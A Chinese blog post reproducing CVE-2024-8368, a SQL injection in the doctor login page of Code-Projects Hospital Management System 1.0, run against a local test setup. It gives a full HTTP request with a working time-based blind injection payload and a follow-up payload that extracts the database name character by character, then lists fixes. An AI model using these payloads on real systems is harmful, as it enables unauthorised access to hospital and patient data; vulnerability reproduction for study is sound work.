首页 > 数据库 >Code-Projects Hospital Management System SQL注入漏洞(CVE-2024-8368)复现

Code-Projects Hospital Management System SQL注入漏洞(CVE-2024-8368)复现

时间:2024-10-12 14:48:28浏览次数:3  
标签:Code 8368 Hospital SQL hms 漏洞 sql php 数据库

参考文献:

code-projects 使用 PHP 的医院管理系统,源代码 v1.0 /hms/doctor/index.php SQL 注入 ·问题 #1 ·青銮机器人/CVE ·GitHub的

国家信息安全漏洞库 (cnnvd.org.cn)


免责声明

本文仅用于安全研究和学习目的。请勿将文中提供的漏洞复现方法、脚本或其他信息用于未经授权的系统、网络或服务攻击。任何个人或组织在使用这些信息时,应遵循所在国家或地区的法律法规,未经授权的渗透测试和入侵行为是违法的。本文作者和发布平台不对因不当使用本文内容而导致的任何损失、损害或法律后果承担责任。

通过继续阅读本文,表示您已理解并接受上述免责声明。如您不同意这些条款,请不要继续进行漏洞复现或相关操作。


目录

1、漏洞原理

漏洞分析

影响范围

2、漏洞复现

环境准备

环境搭建

漏洞利用

3、漏洞修复建议


1、漏洞原理

Code-Projects Hospital Management System是Code-Projects开源的一个医院管理系统。

漏洞分析

Code-Projects Hospital Management System 1.0 版本中存在SQL注入,该漏洞源于/hms/doctor/index.php接收username参数值时,对传入数据没有经过任何验证和转义直接插入到SQL查询中,从而导致SQL注入。

影响范围

Code-Projects Hospital Management System 1.0 版本

2、漏洞复现

环境准备

phpstudy

Code-Projects Hospital Management System 1.0源码:download.code-projects.org/details/e13ce994-d280-4a64-90fb-f08663479bb4

环境搭建

(1)创建hms.sql数据库

phpstudy开启apache和mysql服务后,将解压后的源码hospital文件夹放到网站的根目录下

人家要求创建一个名为hms.sql的数据库,不懂为什么数据库名字要加个后缀。。。。

phpstudy-数据库-创建数据库,创建一个名为hms.sql的数据库

(2)导入sql文件

phpstudy-软件管理  找到数据库管理工具phpmyadmin(此时我的php版本为php7.3.4nts)

通过刚才创建数据库时设置的口令登录phpmyadmin后,点击hms.sql-导入-浏览,将\www\hospital\sqlfile\hms.sql文件导入hms.sql数据库后执行

(3)连接数据库

修改\www\hospital\hms\doctor\include\config.php配置文件,连接数据库

(4)切换php版本

在上述config.php文件中调用了mysql_connect()函数,但是该函数在php7.0及以上版本已被移除,需要切换php版本

在phpstudy-网站-管理-php版本处选择php5.3.29nts版本(没有低版本的去 phpstudy-软件管理 安装)

复现环境已经搭建完成

漏洞利用

在浏览器中访问 http://127.0.0.1/hospital/hms/doctor/index.php (具体路径取决于网站搭建根目录下的文件),打开代理,随便输入用户名和密码后点击Login,使用burpsuit进行拦截之后发送到重放器修改请求

在漏洞分析中已经发现在username参数处存在使用单引号闭合的字符型SQL注入,但是发现对于错误的用户名和口令都会直接重定向到登录页面,没有任何回显信息,猜测存在时间盲注

修改前:

对于错误的用户名和口令会重定向到登录页面,耗时非常短,就33毫秒

修改后重发:

POST /hospital/hms/doctor/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/hospital/hms/doctor/index.php
Cookie: ajs_anonymous_id=e144bb8a-760d-44a2-9e3d-c861226861de; PHPSESSID=vuiqed64elkoqsahibpg6ulnpo
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

username=avfsdf' AND (SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=

SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END 

如果当前数据库名称的长度等于7,数据库延迟15秒响应

成功发送效果:

已知我们当时创建的数据库名称为hms.sql——7个字符,触发条件,右下角页面响应时间确实和正常的响应时间相比延迟了15秒

稍微修改条件后重发效果:

数据库名称长度为7个字符,不满足条件,正常响应

漏洞复现成功,后续可以继续通过ascii()函数确定数据库名称。。。。

username=avfsdf' AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT DATABASE()),1,1))=104) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=

3、漏洞修复建议

对所有用户输入进行严格的验证和过滤,防止特殊字符等被直接用于SQL查询

将数据库查询逻辑封装在存储过程中,减少应用直接与数据库交互的机会

关注相关安全公告,及时打补丁

标签:Code,8368,Hospital,SQL,hms,漏洞,sql,php,数据库
From: https://blog.csdn.net/weixin_51243345/article/details/142857918

相关文章

  • vscode写markdown插入图片视频并放在指定目录
    目录前言正文前言各种云文档非常好用,但是当你想把这些资料保存在本地时,markdown我觉得是最好的选择markdown编辑器也有很多,但我还是觉得vscode最好用,直接粘贴文件就可以插入也类似云文档的使用体验,但是想要指定目录就需要设置一下正文我会想要文件放在md文件所在......
  • Qwen2.5-Coder——专门从事代码生成、完成和数学推理任务的 LLM
    1.概述论文地址:https://arxiv.org/pdf/2409.12186源码地址:https://github.com/qwenlm/qwen2.5-coderQwen2.5-Coder是其前身CodeQwen1.5的重大演进,专门设计用于执行代码生成和代码修改等编程相关任务。该系列包括两个型号,参数分别为15亿(15亿)和70亿(70亿)。2.算法......
  • 代码随想录训练营第五天|Leetcode.349,Leetcode.454,Leetcode19,Leetcode18
    一、哈希表和set和map和数组的关系 用哈希表,判断是否出现过。数值很大或者数值很分散时,不用数组,占用空间大,用set。set,multiset数组的大小是受限制的,而且如果元素很少,而哈希值太大会造成内存空间的浪费。set是一个集合,里面放的元素只能是一个key,而两数之和这道题目,不仅要判......
  • Leetcode 1192. 查找集群内的关键连接
    1.题目基本信息1.1.题目描述力扣数据中心有n台服务器,分别按从0到n-1的方式进行了编号。它们之间以服务器到服务器的形式相互连接组成了一个内部集群,连接是无向的。用connections表示集群网络,connections[i]=[a,b]表示服务器a和b之间形成连接。任何服务器都可......
  • vscode调试launch.json
    {//使用IntelliSense了解相关属性。//悬停以查看现有属性的描述。//欲了解更多信息,请访问:https://go.microsoft.com/fwlink/?linkid=830387"version":"0.2.0","configurations":[{"name":"Python:......
  • npm error code ETIMEDOUT
    1、执行npminstallaxios--save报错D:\code\react\custom-frontend>npminstallaxios--savenpmerrorcodeETIMEDOUTnpmerrorerrnoETIMEDOUTnpmerrornetworkrequesttohttps://registry.npmjs.org/axiosfailed,reason:npmerrornetworkThisisaprob......
  • LeetCode题练习与总结:单词规律--290
    一、题目描述给定一种规律 pattern 和一个字符串 s ,判断 s 是否遵循相同的规律。这里的 遵循 指完全匹配,例如, pattern 里的每个字母和字符串 s 中的每个非空单词之间存在着双向连接的对应规律。示例1:输入:pattern="abba",s="dogcatcatdog"输出:tr......
  • Solution - Codeforces 622E Ants in Leaves
    首先因为\(1\)点是可以一次性到多个点的,因此不需要考虑\(1\)点的情况,而是转而分析\(1\)的每个子树的情况,最后取\(\max\)。那么对于每个子树,就有每个节点每个时刻至多存在\(1\)个点的性质了。考虑如何去求解。首先一个贪心的想法是肯定是每个蚂蚁越早到一个点越好。于......
  • 代码随想录Day23 | LeetCode 455. 分发饼干、LeetCode 53. 最大子数组和、LeetCode 37
    LeetCode455.分发饼干贪心就是干classSolution:deffindContentChildren(self,g:List[int],s:List[int])->int:g.sort(reverse=True)s.sort(reverse=True)i=j=0res=0whilei<len(g)andj<len(......
  • MacOS在VS code上运行Python失败,通过更改pythonPath解决
    问题描述安装完成python后,默认的运行python命令是python3,而VSCode上默认命令是python解决办法在file\preference\settings下(或使用快捷键Ctrl+,),搜索python.pythonPath然后点击AddItem,加入"python.pythonPath"="python3"再修改一下调试结束之后保存,重启VSCode......